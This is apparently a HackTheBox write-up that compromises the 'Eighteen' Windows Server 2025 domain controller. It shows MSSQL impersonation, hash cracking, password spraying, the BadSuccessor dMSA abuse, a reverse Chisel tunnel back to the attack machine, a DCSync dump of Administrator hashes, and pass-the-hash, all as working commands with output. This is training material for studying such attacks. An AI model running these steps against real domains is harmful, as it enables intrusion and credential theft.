HackTheBox - Eighteen

Updated 29-03-2026
#htb #hackthebox #ctf #writeup #windows #hashcat #evil-winrm #password-cracking #active-directory #domain-controller #mssql #sql-impersonation #pbkdf2 #rid-brute-force #winrm #bad-successor #dmsa #kerberos #s4u2self #dcsync #pass-the-hash #chisel #proxychains #impacket #netexec #windows-server-2025

A Windows domain controller where SQL Server impersonation exposes a cracked hash — and a recently disclosed Active Directory attack against delegated service accounts enables a complete domain takeover.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ ip=10.129.3.32; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-18 13:27 EST
Nmap scan report for 10.129.2.74
Host is up (0.30s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.3.32:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
| ms-sql-info: 
|   10.129.3.32:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-02-19T20:31:19+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-19T17:42:02
|_Not valid after:  2056-02-19T17:42:02
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.47 seconds

The scan reveals three open ports:

  • 80/tcp — Microsoft IIS 10.0 serving eighteen.htb
  • 1433/tcp — Microsoft SQL Server 2022 RTM on a host identifying itself as DC01.eighteen.htb
  • 5985/tcp — WinRM (Microsoft HTTPAPI), useful for remote management

The MSSQL NTLM info confirms the machine is a Domain Controller for eighteen.htb. Note the 7-hour clock skew — this will cause issues with Kerberos later.

Foothold

Hosts File

Add the target domains to /etc/hosts:

1
$ echo '10.129.5.187 eighteen.htb DC01.eighteen.htb' | sudo tee -a /etc/hosts

MSSQL Enumeration

Connect to MSSQL using the provided credentials:

1
$ impacket-mssqlclient EIGHTEEN/kevin:iNa2we6haRj2gaw\!@eighteen.htb

Check for impersonation permissions:

1
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

Identify the principal that can be impersonated:

1
SELECT name, principal_id FROM sys.server_principals WHERE principal_id = 268;

Impersonate the appdev login and pivot to the financial_planner database:

1
EXECUTE AS LOGIN = 'appdev';
1
use financial_planner;

List available tables:

1
SELECT name FROM sys.tables;

Dump the users table:

1
2
3
4
5
6
7
SQL (appdev appdev@financial_planner)> select * from users;

id full_name username email password_hash is_admin created_at

---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------

1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03

Hash Cracking

The password_hash field contains a PBKDF2-SHA256 hash. The hex-encoded digest portion — identifiable by its exclusive use of characters 0–9 and a–f — must be re-encoded to Base64 before Hashcat can process it.

Confirm the correct Hashcat mode for Django PBKDF2-SHA256 hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ hashcat --hash-info -m 10000

hashcat (v7.1.2) starting in hash-info mode

Hash Info:

==========

Hash mode #10000

Name................: Django (PBKDF2-SHA256)

Example.Hash........: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrU

Re-encode the hex digest to Base64:

1
2
3
$ echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64

BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

Save the reconstructed hash to a file:

1
$ echo 'pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > hash.txt

Crack the hash with rockyou.txt:

1
$ hashcat -a 0 -m 10000 hash.txt /usr/share/wordlists/rockyou.txt
1
2
3
$ hashcat -a 0 -m 10000 hash.txt /usr/share/wordlists/rockyou.txt --show

pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1

The cracked password is iloveyou1. Attempting to log in directly as admin with this password fails, so the password is likely reused by a domain user.

Username Enumeration via RID Brute-Force

Since the target is a Domain Controller, use NetExec to enumerate domain users via RID brute-force:

1
2
3
4
5
6
7
8
9
$ nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth
<-SNIP->
MSSQL       10.129.6.72     1433   DC01             1606: EIGHTEEN\jamie.dunn
MSSQL       10.129.6.72     1433   DC01             1607: EIGHTEEN\jane.smith
MSSQL       10.129.6.72     1433   DC01             1608: EIGHTEEN\alice.jones
MSSQL       10.129.6.72     1433   DC01             1609: EIGHTEEN\adam.scott
MSSQL       10.129.6.72     1433   DC01             1610: EIGHTEEN\bob.brown
MSSQL       10.129.6.72     1433   DC01             1611: EIGHTEEN\carol.white
MSSQL       10.129.6.72     1433   DC01             1612: EIGHTEEN\dave.green

Spraying iloveyou1 against the enumerated usernames yields a hit on adam.scott.

WinRM Access

1
$ evil-winrm -i eighteen.htb -u adam.scott -p iloveyou1

Privilege Escalation

BadSuccessor — Delegated Managed Service Account Abuse

Checking the OS build reveals Windows Server 2025 Build 26100:

1
2
3
4
5
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

CurrentBuild              : 26100
<-SNIP->
ProductName               : Windows Server 2025 Datacenter

This build is vulnerable to BadSuccessor. The attack abuses a feature introduced in Windows Server 2025 called Delegated Managed Service Accounts (dMSAs). When a dMSA is configured to “succeed” an existing account, it inherits that account’s Kerberos keys. An attacker with permission to create a dMSA in an OU can point it at any account — including Administrator — and then retrieve its keys through normal Kerberos mechanisms, effectively taking over the target account without touching it directly.

The exploitation path is:

  1. Confirm adam.scott has permission to create a dMSA in an OU.
  2. Create a dMSA linked to Administrator as its predecessor.
  3. Use Kerberos (S4U2self) to obtain a ticket carrying Administrator‘s keys.
  4. Use that ticket to DCSync and dump the Administrator NTLM hash.

Confirming OU Permissions

First, check the groups adam.scott belongs to — the relevant one here is EIGHTEEN\IT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\adam.scott\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT                                Group            S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Upload and run Get-BadSuccessorOUPermissions.ps1, which scans all OUs in the domain and reports which accounts have the permissions needed to perform the BadSuccessor technique:

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload Get-BadSuccessorOUPermissions.ps1
*Evil-WinRM* PS C:\Users\adam.scott\Documents> ./Get-BadSuccessorOUPermissions.ps1

Identity    OUs
--------    ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

EIGHTEEN\IT has the required permissions on OU=Staff. Since adam.scott is a member of that group, we can proceed.

Creating the dMSA

Upload and execute BadSuccessor.ps1, which automates the dMSA creation and sets msDS-ManagedAccountPrecededByLink to point at Administrator. This is the attribute that tells the DC whose keys to roll into the new dMSA:

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload BadSuccessor.ps1
*Evil-WinRM* PS C:\Users\adam.scott\Documents> . ./BadSuccessor.ps1
*Evil-WinRM* PS C:\Users\adam.scott\Documents> BadSuccessor -Mode Exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "attacker_dMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -Domain "eighteen.htb"
Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb
0
0
0
0
Successfully created and configured dMSA 'attacker_dMSA'

Verify the object was created and that msDS-ManagedAccountPrecededByLink correctly points to Administrator:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\adam.scott\Documents> Get-ADObject -SearchBase "DC=eighteen,DC=htb" `
  -LDAPFilter "(msDS-ManagedAccountPrecededByLink=*)" `
  -Properties name,sAMAccountName,msDS-ManagedAccountPrecededByLink,distinguishedName,objectClass |
  Select name,sAMAccountName,objectClass,msDS-ManagedAccountPrecededByLink,distinguishedName


name                              : attacker_dMSA
sAMAccountName                    : attacker_dMSA$
objectClass                       : msDS-DelegatedManagedServiceAccount
msDS-ManagedAccountPrecededByLink : CN=Administrator,CN=Users,DC=eighteen,DC=htb
distinguishedName                 : CN=attacker_dMSA,OU=Staff,DC=eighteen,DC=htb

The dMSA is in place. The next step is to request a Kerberos ticket for it — but that requires routing traffic through the DC and syncing our clock first.

Tunnelling with Chisel

Impacket’s Kerberos tooling needs to reach the DC’s Kerberos port directly. We set up a SOCKS5 tunnel using Chisel so all subsequent tool calls can be proxied through it. We also forward UDP port 123 to relay NTP traffic, which is useful for keeping the clock in sync.

Start the Chisel server on the attack machine:

1
2
3
4
$ chisel server -p 7777 --reverse
2026/02/24 11:24:28 server: Reverse tunnelling enabled
2026/02/24 11:24:28 server: Fingerprint GGlJv/Ps7HwB80HbyGr4UAt54oEBVMse4xaOhU4Ee64=
2026/02/24 11:24:28 server: Listening on http://0.0.0.0:7777

Upload chisel.exe to the target and connect back:

1
2
3
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /home/kali/tools/chisel.exe
                                        
Info: Uploading /home/kali/tools/chisel.exe to C:\Users\adam.scott\Documents\chisel.exe
1
2
3
4
5
*Evil-WinRM* PS C:\Users\adam.scott\Documents> ./chisel.exe client 10.10.16.4:7777 R:socks R:123:127.0.0.1:123/udp
chisel.exe : 2026/02/24 15:40:20 client: Connecting to ws://10.10.16.4:7777
    + CategoryInfo          : NotSpecified: (2026/02/24 15:4...10.10.16.4:7777:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/02/24 15:40:25 client: Connected (Latency 294.1192ms)

Point proxychains at the SOCKS5 listener. Comment out the default socks4 line and add the socks5 entry:

1
2
3
4
$ sudo vim /etc/proxychains4.conf

# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080

Fixing the Clock Skew

Kerberos enforces a maximum 5-minute time difference between the client and the KDC. The Nmap scan already flagged a 7-hour skew, so the first TGT request fails immediately:

1
2
3
4
5
6
$ proxychains -q impacket-getST eighteen.htb/adam.scott:iloveyou1 -impersonate 'attacker_dMSA$' -dc-ip eighteen.htb -self -dmsa
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

It failed despite forwarding UDP port 123 to relay NTP traffic to us to keep our clocks in sync. So, we’re going to set the time manually.

Retrieve the DC’s current UTC time:

1
2
3
4
5
$ evil-winrm -i eighteen.htb -u adam.scott -p iloveyou1   

*Evil-WinRM* PS C:\Users\adam.scott\Documents> (Get-Date).ToUniversalTime()

Wednesday, February 25, 2026 12:10:43 AM

Disable NTP and manually set the attack machine’s clock to match:

1
2
3
4
5
6
7
$ sudo timedatectl set-ntp false

$ sudo date -u -s "2026-02-25 00:10:43"
Wed Feb 25 12:10:43 AM UTC 2026

$ date -u
Wed Feb 25 12:10:45 AM UTC 2026

Requesting the TGT

With the clock synced, use impacket-getST with -self -dmsa to trigger the BadSuccessor key derivation on the DC. The DC sees the dMSA’s msDS-ManagedAccountPrecededByLink attribute, computes keys derived from Administrator‘s credentials, and returns them in the ticket response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ proxychains -q impacket-getST eighteen.htb/adam.scott:iloveyou1 \
  -impersonate 'attacker_dMSA$' \
  -dc-ip 10.129.6.72 \
  -self -dmsa
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating attacker_dMSA$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:8e9146d0d1d69cd84c91c2f6102f8c57c32276ab162ec74e65ca50336a2fdc57
[*] EncryptionTypes.aes128_cts_hmac_sha1_96:a34293fe1d98fc07692968eff76ee475
[*] EncryptionTypes.rc4_hmac:b6a20564dea575ffcc64ad55a81f66ea
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

The “Previous keys” section is notable — the rc4_hmac value 0b133be956bfaddf9cea56701affddec is Administrator‘s NTLM hash, which the DC has rolled into the dMSA’s key set.

Export the ticket so Impacket tools pick it up automatically:

1
$ export KRB5CCNAME=attacker_dMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

Verifying Access

Confirm the ticket grants domain admin-level access before proceeding:

1
2
3
4
5
$ proxychains -q netexec smb 10.129.6.72 -k --use-kcache -X 'whoami'
SMB         10.129.6.72     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.6.72     445    DC01             [+] eighteen.htb\attacker_dMSA$ from ccache (Pwn3d!)
SMB         10.129.6.72     445    DC01             [+] Executed command via wmiexec
SMB         10.129.6.72     445    DC01             eighteen\attacker_dmsa$

The (Pwn3d!) tag confirms we have administrative access to the DC.

Dumping Administrator Credentials

Use secretsdump with the Kerberos ticket to perform a DCSync and extract the Administrator NTLM hash. DCSync works here because the dMSA’s inherited keys satisfy the replication privilege check on the DC:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ proxychains -q impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
[*] Kerberos keys grabbed
Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
[*] Cleaning up...

Root Flag

Log in as Administrator using pass-the-hash:

1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>